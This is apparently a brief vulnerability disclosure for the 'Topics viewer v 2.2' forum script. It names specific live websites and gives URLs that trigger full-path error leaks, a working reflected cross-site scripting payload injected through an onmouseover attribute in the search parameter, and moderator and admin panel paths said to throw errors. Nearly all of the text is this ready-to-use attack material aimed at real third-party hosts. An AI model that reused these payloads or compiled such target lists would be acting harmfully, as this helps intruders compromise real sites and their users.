Topics viewer v 2.2 Xss & Error Control Panel & Error messag

Down : http://www.traidnt.net/vb/traidnt2000106/
Type : Xss & Error Control Panel & Error message > Username
Severity : medium^

Error message :
http://www.nilehoster.com/tp/main.php
"Fatal error: Call to undefined function shownotes() in /home/nilehost/public_html/tp/main.php on line 80"
http://www.3deeel.com/design/main.php
http://www.stardima.com/main.php

Xss  :
http://www.nilehoster.com/tp/search.php?q=%22%20onmouseover%3dprompt%28934592%29%20bad%3d%22&search=%c5%c8%cd%dc%dc%cb

Error Control Panel :
http://www.nilehoster.com/tp/modcp/nav.php
http://www.nilehoster.com/tp/admincp/nav.php